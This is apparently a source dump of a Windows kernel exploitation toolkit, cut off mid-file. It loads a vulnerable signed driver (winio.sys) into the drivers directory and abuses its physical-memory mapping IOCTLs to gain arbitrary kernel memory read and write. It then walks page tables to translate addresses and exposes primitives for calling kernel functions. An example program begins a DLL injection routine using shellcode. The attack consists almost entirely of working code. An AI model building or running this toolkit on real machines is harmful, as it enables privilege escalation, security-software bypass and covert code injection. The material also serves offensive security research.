25 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
26 | Debug|x64 = Debug|x64
27 | Release|x64 = Release|x64
28 | EndGlobalSection
29 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
30 | {9244F175-9960-47FB-A197-F717D5C2C370}.Debug|x64.ActiveCfg = Debug|x64
31 | {9244F175-9960-47FB-A197-F717D5C2C370}.Debug|x64.Build.0 = Debug|x64
32 | {9244F175-9960-47FB-A197-F717D5C2C370}.Release|x64.ActiveCfg = Release|x64
33 | {9244F175-9960-47FB-A197-F717D5C2C370}.Release|x64.Build.0 = Release|x64
34 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB}.Debug|x64.ActiveCfg = Debug|x64
35 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB}.Debug|x64.Build.0 = Debug|x64
36 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB}.Release|x64.ActiveCfg = Release|x64
37 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB}.Release|x64.Build.0 = Release|x64
38 | {FD13CD14-B412-45BD-A3C9-7466CD83CAFC}.Debug|x64.ActiveCfg = Debug|x64
39 | {FD13CD14-B412-45BD-A3C9-7466CD83CAFC}.Debug|x64.Build.0 = Debug|x64
40 | {FD13CD14-B412-45BD-A3C9-7466CD83CAFC}.Release|x64.ActiveCfg = Release|x64
41 | {FD13CD14-B412-45BD-A3C9-7466CD83CAFC}.Release|x64.Build.0 = Release|x64
42 | {60067986-A909-433D-9699-0E00FE13E16E}.Debug|x64.ActiveCfg = Debug|x64
43 | {60067986-A909-433D-9699-0E00FE13E16E}.Debug|x64.Build.0 = Debug|x64
44 | {60067986-A909-433D-9699-0E00FE13E16E}.Release|x64.ActiveCfg = Release|x64
45 | {60067986-A909-433D-9699-0E00FE13E16E}.Release|x64.Build.0 = Release|x64
46 | {548848C6-A540-47C8-8C2F-C3B309ED331B}.Debug|x64.ActiveCfg = Debug|x64
47 | {548848C6-A540-47C8-8C2F-C3B309ED331B}.Debug|x64.Build.0 = Debug|x64
48 | {548848C6-A540-47C8-8C2F-C3B309ED331B}.Release|x64.ActiveCfg = Release|x64
49 | {548848C6-A540-47C8-8C2F-C3B309ED331B}.Release|x64.Build.0 = Release|x64
50 | EndGlobalSection
51 | GlobalSection(SolutionProperties) = preSolution
52 | HideSolutionNode = FALSE
53 | EndGlobalSection
54 | EndGlobal
55 |
--------------------------------------------------------------------------------
/kforge/kforge.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 |
3 | BOOL APIENTRY DllMain(
4 | HMODULE hModule,
5 | DWORD ul_reason_for_call,
6 | LPVOID lpReserved)
7 | {
8 | switch (ul_reason_for_call)
9 | {
10 | case DLL_PROCESS_ATTACH:
11 |
12 | // initialize kforge library
13 | return KfInit();
14 |
15 | case DLL_PROCESS_DETACH:
16 |
17 | // uninitialize kforge library
18 | return KfUninit();
19 | }
20 |
21 | return TRUE;
22 | }
23 |
--------------------------------------------------------------------------------
/kforge/kforge.def:
--------------------------------------------------------------------------------
1 | EXPORTS
2 |
3 | KfCall
4 | KfCallAddr
5 | KfHeapAlloc
6 | KfHeapAllocData
7 | KfHeapFree
8 | KfMemCopy
9 | KfGetSyscallNumber
10 | KfGetKernelProcAddress
11 | KfGetKernelZwProcAddress
12 |
--------------------------------------------------------------------------------
/kforge/kforge.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 | {548848C6-A540-47C8-8C2F-C3B309ED331B}
15 | Win32Proj
16 | kforge
17 |
18 |
19 |
20 | DynamicLibrary
21 | true
22 | v120
23 | Unicode
24 |
25 |
26 | DynamicLibrary
27 | false
28 | v120
29 | true
30 | Unicode
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 | true
44 | false
45 |
46 |
47 | false
48 | false
49 |
50 |
51 |
52 |
53 |
54 | Level3
55 | Disabled
56 | WIN32;_DEBUG;_WINDOWS;_USRDLL;KFORGE_EXPORTS;%(PreprocessorDefinitions)
57 | $(SolutionDir);$(ProjectDir)
58 | MultiThreadedDebug
59 |
60 |
61 | Windows
62 | true
63 | $(SolutionDir)$(TargetName).pdb
64 | $(SolutionDir)$(TargetName)$(TargetExt)
65 | /DEF:kforge.def %(AdditionalOptions)
66 | ..\kforge_driver.lib;..\kforge_library.lib;%(AdditionalDependencies)
67 |
68 |
69 |
70 |
71 | Level3
72 |
73 |
74 | MaxSpeed
75 | true
76 | true
77 | WIN32;NDEBUG;_WINDOWS;_USRDLL;KFORGE_EXPORTS;%(PreprocessorDefinitions)
78 | MultiThreaded
79 | $(SolutionDir);$(ProjectDir)
80 |
81 |
82 | Windows
83 | true
84 | true
85 | true
86 | ..\kforge_driver.lib;..\kforge_library.lib;%(AdditionalDependencies)
87 | $(SolutionDir)$(TargetName).pdb
88 | $(SolutionDir)$(TargetName)$(TargetExt)
89 | /DEF:kforge.def %(AdditionalOptions)
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 | false
99 |
100 |
101 | false
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
--------------------------------------------------------------------------------
/kforge/kforge.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 | Header Files
23 |
24 |
25 |
26 |
27 | Source Files
28 |
29 |
30 |
--------------------------------------------------------------------------------
/kforge/stdafx.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "targetver.h"
4 |
5 | #include
6 |
7 | #include "include/kforge_library.h"
8 |
--------------------------------------------------------------------------------
/kforge/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/kforge_driver.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/kforge_driver.lib
--------------------------------------------------------------------------------
/kforge_driver/kforge_driver.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 |
3 | // winio.sys driver binary
4 | #include "winio_sys.h"
5 |
6 | /*
7 | PROCESSOR_START_BLOCK is allocated by winload.efi, so it could be
8 | anywhere in the low memory.
9 | */
10 | #define PROCESSOR_START_BLOCK_MIN 0
11 | #define PROCESSOR_START_BLOCK_MAX 0x10000
12 |
13 | #pragma pack(push, 2)
14 |
15 | typedef struct _FAR_JMP_16
16 | {
17 | BYTE OpCode; // = 0xe9
18 | WORD Offset;
19 |
20 | } FAR_JMP_16;
21 |
22 | typedef struct _PSEUDO_DESCRIPTOR_32
23 | {
24 | WORD Limit;
25 | DWORD Base;
26 |
27 | } PSEUDO_DESCRIPTOR_32;
28 |
29 | #pragma pack(pop)
30 |
31 | typedef struct _PROCESSOR_START_BLOCK *PPROCESSOR_START_BLOCK;
32 | typedef struct _PROCESSOR_START_BLOCK
33 | {
34 | // The block starts with a jmp instruction to the end of the block
35 | FAR_JMP_16 Jmp;
36 |
37 | // Completion flag is set to non-zero when the target processor has
38 | // started
39 | DWORD CompletionFlag;
40 |
41 | // Pseudo descriptors for GDT and IDT
42 | PSEUDO_DESCRIPTOR_32 Gdt32;
43 | PSEUDO_DESCRIPTOR_32 Idt32;
44 |
45 | // ...
46 |
47 | } PROCESSOR_START_BLOCK,
48 | *PPROCESSOR_START_BLOCK;
49 |
50 | // other fields offsets
51 | #define PROCESSOR_START_BLOCK_HalpLMStub 0x70
52 | #define PROCESSOR_START_BLOCK_Cr3 0xa0
53 |
54 | // PML4 base of the kernel virtual address space
55 | static DWORD_PTR m_PML4_Addr = 0;
56 |
57 | // loldriver device handle
58 | static HANDLE m_hDevice = NULL;
59 | //--------------------------------------------------------------------------------------
60 | static BOOL DriverInitPageTableBase(PDWORD_PTR pPML4_Addr)
61 | {
62 | BOOL bRet = FALSE;
63 |
64 | // allocate memory to read PROCESSOR_START_BLOCK
65 | PUCHAR Data = (PUCHAR)M_ALLOC(PAGE_SIZE);
66 | if (Data == NULL)
67 | {
68 | DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError());
69 | return FALSE;
70 | }
71 |
72 | // find an exact location of the PROCESSOR_START_BLOCK
73 | for (DWORD_PTR Addr = PROCESSOR_START_BLOCK_MIN;
74 | Addr < PROCESSOR_START_BLOCK_MAX; Addr += PAGE_SIZE)
75 | {
76 | if (WinioPhysRead(m_hDevice, Addr, PAGE_SIZE, Data))
77 | {
78 | PPROCESSOR_START_BLOCK Info = (PPROCESSOR_START_BLOCK)Data;
79 |
80 | // get page table address and HalpLMStub address
81 | DWORD_PTR PML4_Addr = *(DWORD_PTR *)(Data + PROCESSOR_START_BLOCK_Cr3);
82 | DWORD_PTR HalpLMStub = *(DWORD_PTR *)(Data + PROCESSOR_START_BLOCK_HalpLMStub);
83 |
84 | // check for the sane values
85 | if (Info->Jmp.OpCode != 0xe9 || Info->CompletionFlag != 1 || HalpLMStub == 0 || PML4_Addr == 0)
86 | {
87 | // looks bad
88 | continue;
89 | }
90 |
91 | DbgMsg(__FILE__, __LINE__, "PROCESSOR_START_BLOCK is at "IFMT"\n", Addr);
92 | DbgMsg(__FILE__, __LINE__, "Kernel mode PML4 address is "IFMT"\n", PML4_Addr);
93 |
94 | if (pPML4_Addr)
95 | {
96 | *pPML4_Addr = PML4_Addr;
97 | }
98 |
99 | bRet = TRUE;
100 | break;
101 | }
102 | else
103 | {
104 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
105 | break;
106 | }
107 | }
108 |
109 | M_FREE(Data);
110 |
111 | return bRet;
112 | }
113 | //--------------------------------------------------------------------------------------
114 | static BOOL DriverVirtToPhys(DWORD_PTR PML4_Addr, PVOID AddrVirt, PDWORD_PTR pAddrPhys)
115 | {
116 | X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PML4_entry;
117 |
118 | DWORD_PTR AddrPhys = PML4_ADDRESS(PML4_Addr) + PML4_INDEX(AddrVirt) * sizeof(DWORD64);
119 |
120 | if (m_hDevice == NULL)
121 | {
122 | // not initialized
123 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
124 | return FALSE;
125 | }
126 |
127 | // read PML4 entry
128 | if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PML4_entry), &PML4_entry.Uint64))
129 | {
130 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
131 | return FALSE;
132 | }
133 |
134 | // check if PML4 entry is present
135 | if (PML4_entry.Bits.Present == 0)
136 | {
137 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PML4E for "IFMT" is not present\n", AddrVirt);
138 | return FALSE;
139 | }
140 |
141 | X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PDPT_entry;
142 |
143 | AddrPhys = PFN_TO_PAGE(PML4_entry.Bits.PageTableBaseAddress) + PDPT_INDEX(AddrVirt) * sizeof(DWORD64);
144 |
145 | // read PDPT entry
146 | if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PDPT_entry), &PDPT_entry.Uint64))
147 | {
148 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
149 | return FALSE;
150 | }
151 |
152 | // check if PDPT entry is present
153 | if (PDPT_entry.Bits.Present == 0)
154 | {
155 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PDPTE for "IFMT" is not present\n", AddrVirt);
156 | return FALSE;
157 | }
158 |
159 | // check for page size flag
160 | if ((PDPT_entry.Uint64 & PDPTE_PDE_PS) == 0)
161 | {
162 | X64_PAGE_DIRECTORY_ENTRY_4K PD_entry;
163 |
164 | AddrPhys = PFN_TO_PAGE(PDPT_entry.Bits.PageTableBaseAddress) + PDE_INDEX(AddrVirt) * sizeof(DWORD64);
165 |
166 | // read PD entry
167 | if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PD_entry), &PD_entry.Uint64))
168 | {
169 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
170 | return FALSE;
171 | }
172 |
173 | // check if PD entry is present
174 | if (PD_entry.Bits.Present == 0)
175 | {
176 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PDE for "IFMT" is not present\n", AddrVirt);
177 | return FALSE;
178 | }
179 |
180 | // check for page size flag
181 | if ((PD_entry.Uint64 & PDPTE_PDE_PS) == 0)
182 | {
183 | X64_PAGE_TABLE_ENTRY_4K PT_entry;
184 |
185 | AddrPhys = PFN_TO_PAGE(PD_entry.Bits.PageTableBaseAddress) + PTE_INDEX(AddrVirt) * sizeof(DWORD64);
186 |
187 | // read PT entry
188 | if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PD_entry), &PT_entry.Uint64))
189 | {
190 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
191 | return FALSE;
192 | }
193 |
194 | // check if PT entry is present
195 | if (PT_entry.Bits.Present)
196 | {
197 | // calculate 4Kb page address
198 | *pAddrPhys = PFN_TO_PAGE(PT_entry.Bits.PageTableBaseAddress) + PAGE_OFFSET_4K(AddrVirt);
199 | return TRUE;
200 | }
201 | else
202 | {
203 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PTE for "IFMT" is not present\n", AddrVirt);
204 | }
205 | }
206 | else
207 | {
208 | // calculate 2Mb page address
209 | *pAddrPhys = PFN_TO_PAGE(PD_entry.Bits.PageTableBaseAddress) + PAGE_OFFSET_2M(AddrVirt);
210 | return TRUE;
211 | }
212 | }
213 | else
214 | {
215 | // calculate 1Gb page address
216 | *pAddrPhys = PFN_TO_PAGE(PDPT_entry.Bits.PageTableBaseAddress) + PAGE_OFFSET_1G(AddrVirt);
217 | return TRUE;
218 | }
219 |
220 | return FALSE;
221 | }
222 | //--------------------------------------------------------------------------------------
223 | BOOL DriverInit(void)
224 | {
225 | BOOL bStarted = FALSE;
226 | char szFilePath[MAX_PATH];
227 |
228 | if (m_hDevice != NULL)
229 | {
230 | // already initialized
231 | return TRUE;
232 | }
233 |
234 | if (!LoadPrivileges(SE_LOAD_DRIVER_NAME))
235 | {
236 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: LoadPrivileges() fails\n");
237 | return FALSE;
238 | }
239 |
240 | // make driver file path
241 | GetSystemDirectory(szFilePath, MAX_PATH);
242 | strcat_s(szFilePath, "\\drivers\\" WINIO_DRIVER_NAME);
243 |
244 | // first try to start already existing service
245 | if (!(bStarted = ServiceStart(WINIO_SERVICE_NAME, szFilePath, FALSE)))
246 | {
247 | // copy driver into the drivers directory
248 | if (DumpToFile(szFilePath, winio_sys, sizeof(winio_sys)))
249 | {
250 | // try to create new service
251 | if (!(bStarted = ServiceStart(WINIO_SERVICE_NAME, szFilePath, TRUE)))
252 | {
253 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: ServiceStart() fails\n");
254 |
255 | // remove driver
256 | DeleteFile(szFilePath);
257 | }
258 | }
259 | else
260 | {
261 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DumpToFile() fails\n");
262 | }
263 | }
264 |
265 | if (bStarted)
266 | {
267 | // get handle of the target device
268 | if ((m_hDevice = CreateFile(
269 | WINIO_DEVICE_PATH, GENERIC_READ | GENERIC_WRITE, 0,
270 | NULL, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE)
271 | {
272 | DbgMsg(__FILE__, __LINE__, "%s kernel driver was successfully loaded\n", WINIO_DRIVER_NAME);
273 |
274 | // initialize PML4 address
275 | if (DriverInitPageTableBase(&m_PML4_Addr))
276 | {
277 | return TRUE;
278 | }
279 | else
280 | {
281 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverInitPageTableBase() fails\n");
282 | }
283 |
284 | CloseHandle(m_hDevice);
285 | m_hDevice = NULL;
286 | }
287 |
288 | // remove service
289 | ServiceStop(WINIO_SERVICE_NAME);
290 | ServiceRemove(WINIO_SERVICE_NAME);
291 |
292 | // remove driver
293 | DeleteFile(szFilePath);
294 | }
295 |
296 | return FALSE;
297 | }
298 | //--------------------------------------------------------------------------------------
299 | BOOL DriverUninit(void)
300 | {
301 | char szFilePath[MAX_PATH];
302 |
303 | if (m_hDevice == NULL)
304 | {
305 | // not initialized
306 | return TRUE;
307 | }
308 |
309 | CloseHandle(m_hDevice);
310 | m_hDevice = NULL;
311 |
312 | // make driver file path
313 | GetSystemDirectory(szFilePath, MAX_PATH);
314 | strcat_s(szFilePath, "\\drivers\\" WINIO_DRIVER_NAME);
315 |
316 | // remove service
317 | ServiceStop(WINIO_SERVICE_NAME);
318 | ServiceRemove(WINIO_SERVICE_NAME);
319 |
320 | // remove driver
321 | DeleteFile(szFilePath);
322 |
323 | return TRUE;
324 | }
325 | //--------------------------------------------------------------------------------------
326 | BOOL DriverMemWrite(PVOID Addr, PVOID Data, DWORD_PTR DataSize)
327 | {
328 | DWORD_PTR AddrPhys = 0;
329 |
330 | if (m_hDevice == NULL)
331 | {
332 | // not initialized
333 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
334 | return FALSE;
335 | }
336 |
337 | // translate virtual address to physical
338 | if (DriverVirtToPhys(m_PML4_Addr, Addr, &AddrPhys))
339 | {
340 | // write to the physical memory location
341 | if (WinioPhysWrite(m_hDevice, AddrPhys, DataSize, Data))
342 | {
343 | return TRUE;
344 | }
345 | }
346 |
347 | return FALSE;
348 | }
349 | //--------------------------------------------------------------------------------------
350 | BOOL DriverMemRead(PVOID Addr, PVOID Data, DWORD_PTR DataSize)
351 | {
352 | DWORD_PTR AddrPhys = 0;
353 |
354 | if (m_hDevice == NULL)
355 | {
356 | // not initialized
357 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
358 | return FALSE;
359 | }
360 |
361 | // translate virtual address to physical
362 | if (DriverVirtToPhys(m_PML4_Addr, Addr, &AddrPhys))
363 | {
364 | // read from the physical memory location
365 | if (WinioPhysRead(m_hDevice, AddrPhys, DataSize, Data))
366 | {
367 | return TRUE;
368 | }
369 | }
370 |
371 | return FALSE;
372 | }
373 | //--------------------------------------------------------------------------------------
374 | // EoF
375 |
--------------------------------------------------------------------------------
/kforge_driver/kforge_driver.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 | {9244F175-9960-47FB-A197-F717D5C2C370}
31 | Win32Proj
32 | kforge_driver
33 |
34 |
35 |
36 | StaticLibrary
37 | true
38 | v120
39 | MultiByte
40 |
41 |
42 | StaticLibrary
43 | false
44 | v120
45 | true
46 | MultiByte
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 | Level3
64 | Disabled
65 | WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)
66 | MultiThreadedDebug
67 | $(SolutionDir);$(ProjectDir)
68 | /D DBG %(AdditionalOptions)
69 |
70 |
71 | Windows
72 | true
73 |
74 |
75 | $(SolutionDir)$(TargetName)$(TargetExt)
76 |
77 |
78 | pre_build.bat
79 |
80 |
81 |
82 |
83 | Level3
84 |
85 |
86 | MaxSpeed
87 | true
88 | true
89 | WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)
90 | $(SolutionDir);$(ProjectDir)
91 | MultiThreaded
92 | /D DBG %(AdditionalOptions)
93 |
94 |
95 | Windows
96 | true
97 | true
98 | true
99 |
100 |
101 | $(SolutionDir)$(TargetName)$(TargetExt)
102 |
103 |
104 | pre_build.bat
105 |
106 |
107 |
108 |
109 |
110 |
--------------------------------------------------------------------------------
/kforge_driver/kforge_driver.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {d4d8c19d-1de9-45ef-8245-96b4b2e4d1a7}
18 |
19 |
20 | {ab0716b7-ca2c-43f5-ae9f-7027030574be}
21 |
22 |
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files\common
32 |
33 |
34 |
35 |
36 | Header Files\common
37 |
38 |
39 | Header Files\common
40 |
41 |
42 | Header Files\common
43 |
44 |
45 | Header Files\common
46 |
47 |
48 | Header Files\common
49 |
50 |
51 | Header Files
52 |
53 |
54 | Header Files
55 |
56 |
57 | Header Files
58 |
59 |
60 | Header Files\common
61 |
62 |
63 |
--------------------------------------------------------------------------------
/kforge_driver/pre_build.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | python ..\tools\make_header.py --input ..\winio.sys --output winio_sys.h --name winio_sys
3 | pause
4 |
--------------------------------------------------------------------------------
/kforge_driver/stdafx.h:
--------------------------------------------------------------------------------
1 | #pragma warning(disable: 4996)
2 |
3 | #include
4 | #include
5 |
6 | #include "common/ntdll_defs.h"
7 | #include "common/ntdll_undocnt.h"
8 | #include "common/common.h"
9 | #include "common/debug.h"
10 | #include "common/virtmem.h"
11 | #include "common/service.h"
12 |
13 | #include "include/kforge_driver.h"
14 |
15 | #include "winio.h"
16 |
--------------------------------------------------------------------------------
/kforge_driver/winio.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | //--------------------------------------------------------------------------------------
3 | static BOOL WinioPhysMap(
4 | HANDLE hDevice, DWORD_PTR Addr, DWORD_PTR Size,
5 | HANDLE *phSection, PVOID *pSectionAddr, PVOID *pObjectAddr)
6 | {
7 | DWORD dwSize = 0;
8 | WINIO_PHYS_MEM Request;
9 |
10 | ZeroMemory(&Request, sizeof(Request));
11 |
12 | Request.Size = Size;
13 | Request.Addr = Addr;
14 |
15 | // send physical memory map request
16 | if (DeviceIoControl(
17 | hDevice, IOCTL_WINIO_PHYS_MEM_MAP,
18 | &Request, sizeof(Request), &Request, sizeof(Request), &dwSize, NULL))
19 | {
20 | *phSection = Request.hSection;
21 | *pObjectAddr = Request.ObjectAddr;
22 | *pSectionAddr = Request.SectionAddr;
23 |
24 | return TRUE;
25 | }
26 | else
27 | {
28 | DbgMsg(__FILE__, __LINE__, "DeviceIoControl() ERROR %d\n", GetLastError());
29 | }
30 |
31 | return FALSE;
32 | }
33 | //--------------------------------------------------------------------------------------
34 | static BOOL WinioPhysUnmap(HANDLE hDevice, HANDLE hSection, PVOID SectionAddr, PVOID ObjectAddr)
35 | {
36 | DWORD dwSize = 0;
37 | WINIO_PHYS_MEM Request;
38 |
39 | ZeroMemory(&Request, sizeof(Request));
40 |
41 | Request.hSection = hSection;
42 | Request.SectionAddr = SectionAddr;
43 | Request.ObjectAddr = ObjectAddr;
44 |
45 | // send physical memory unmap request
46 | if (DeviceIoControl(
47 | hDevice, IOCTL_WINIO_PHYS_MEM_UNMAP,
48 | &Request, sizeof(Request), &Request, sizeof(Request), &dwSize, NULL))
49 | {
50 | return TRUE;
51 | }
52 | else
53 | {
54 | DbgMsg(__FILE__, __LINE__, "DeviceIoControl() ERROR %d\n", GetLastError());
55 | }
56 |
57 | return FALSE;
58 | }
59 | //--------------------------------------------------------------------------------------
60 | BOOL WinioPhysRead(HANDLE hDevice, DWORD_PTR Addr, DWORD_PTR Size, PVOID Data)
61 | {
62 | BOOL bRet = FALSE;
63 | HANDLE hSection = NULL;
64 | PVOID SectionAddr = NULL, ObjectAddr = NULL;
65 |
66 | // map physical memory region
67 | if (!WinioPhysMap(hDevice, Addr, Size, &hSection, &SectionAddr, &ObjectAddr))
68 | {
69 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemMap() fails\n");
70 | return FALSE;
71 | }
72 |
73 | __try
74 | {
75 | // perform memory read operation
76 | bRet = memcpy(Data, SectionAddr, Size) != NULL;
77 | }
78 | __finally
79 | {
80 | // unmap physical memory region
81 | WinioPhysUnmap(hDevice, hSection, SectionAddr, ObjectAddr);
82 | }
83 |
84 | return bRet;
85 | }
86 | //--------------------------------------------------------------------------------------
87 | BOOL WinioPhysWrite(HANDLE hDevice, DWORD_PTR Addr, DWORD_PTR Size, PVOID Data)
88 | {
89 | BOOL bRet = FALSE;
90 | HANDLE hSection = NULL;
91 | PVOID SectionAddr = NULL, ObjectAddr = NULL;
92 |
93 | // map physical memory region
94 | if (!WinioPhysMap(hDevice, Addr, Size, &hSection, &SectionAddr, &ObjectAddr) != 0)
95 | {
96 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemMap() fails\n");
97 | return FALSE;
98 | }
99 |
100 | __try
101 | {
102 | // perform memory write operation
103 | bRet = memcpy(SectionAddr, Data, Size) != NULL;
104 | }
105 | __finally
106 | {
107 | // unmap physical memory region
108 | WinioPhysUnmap(hDevice, hSection, SectionAddr, ObjectAddr);
109 | }
110 |
111 | return bRet;
112 | }
113 | //--------------------------------------------------------------------------------------
114 | // EoF
115 |
--------------------------------------------------------------------------------
/kforge_driver/winio.h:
--------------------------------------------------------------------------------
1 |
2 | // vulnerable driver device name
3 | #define WINIO_DEVICE_PATH "\\\\.\\Global\\EneIo"
4 |
5 | // vulnerable driver service and file name
6 | #define WINIO_DRIVER_NAME "winio.sys"
7 | #define WINIO_SERVICE_NAME "winio"
8 |
9 | #define FILE_DEVICE_WINIO 0x00008010
10 |
11 | // map physical memory region
12 | #define IOCTL_WINIO_PHYS_MEM_MAP CTL_CODE(FILE_DEVICE_WINIO, 0x00000810, METHOD_BUFFERED, FILE_ANY_ACCESS)
13 |
14 | // unmap physical memory region
15 | #define IOCTL_WINIO_PHYS_MEM_UNMAP CTL_CODE(FILE_DEVICE_WINIO, 0x00000811, METHOD_BUFFERED, FILE_ANY_ACCESS)
16 |
17 | typedef struct _WINIO_PHYS_MEM
18 | {
19 | DWORD_PTR Size;
20 | DWORD_PTR Addr;
21 | HANDLE hSection;
22 | PVOID SectionAddr;
23 | PVOID ObjectAddr;
24 |
25 | } WINIO_PHYS_MEM,
26 | *PWINIO_PHYS_MEM;
27 |
28 |
29 | BOOL WinioPhysRead(HANDLE hDevice, DWORD_PTR Addr, DWORD_PTR Size, PVOID Data);
30 | BOOL WinioPhysWrite(HANDLE hDevice, DWORD_PTR Addr, DWORD_PTR Size, PVOID Data);
31 |
--------------------------------------------------------------------------------
/kforge_example.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/kforge_example.exe
--------------------------------------------------------------------------------
/kforge_example.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/kforge_example.pdb
--------------------------------------------------------------------------------
/kforge_example/func_order.txt:
--------------------------------------------------------------------------------
1 | dll_inject_Entry
2 | dll_inject_CalcHash
3 | dll_inject_GetModuleAddressByHash
4 | dll_inject_GetProcAddressByHash
5 | dll_inject_ProcessImports
6 | dll_inject_End
7 |
--------------------------------------------------------------------------------
/kforge_example/kforge_example.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | //--------------------------------------------------------------------------------------
3 | BOOL DllInject(HANDLE ProcessId, PVOID Data, DWORD dwDataSize)
4 | {
5 | BOOL bRet = FALSE;
6 |
7 | PVOID Image = NULL;
8 | DWORD dwImageSize = 0;
9 |
10 | DWORD_PTR Status = STATUS_UNSUCCESSFUL;
11 | HANDLE hProcess = NULL, hThread = NULL;
12 | PVOID ImageAddr = NULL, ShellcodeAddr = NULL;
13 | SIZE_T ImageSize = 0, InjectStructSize = 0;
14 |
15 | // map image sections to the memory
16 | if (!LdrMapImage(Data, dwDataSize, &Image, &dwImageSize))
17 | {
18 | DbgMsg(__FILE__, __LINE__, "ERROR: LdrMapImage() fails\n");
19 | return FALSE;
20 | }
21 |
22 | // calculate shellcode and DLL_INJECT_STRUCT size
23 | DWORD dwShellcodeSize = (DWORD)((DWORD_PTR)&dll_inject_End - (DWORD_PTR)&dll_inject_Entry);
24 | DWORD dwInjectStructSize = sizeof(DLL_INJECT_STRUCT) + dwShellcodeSize;
25 |
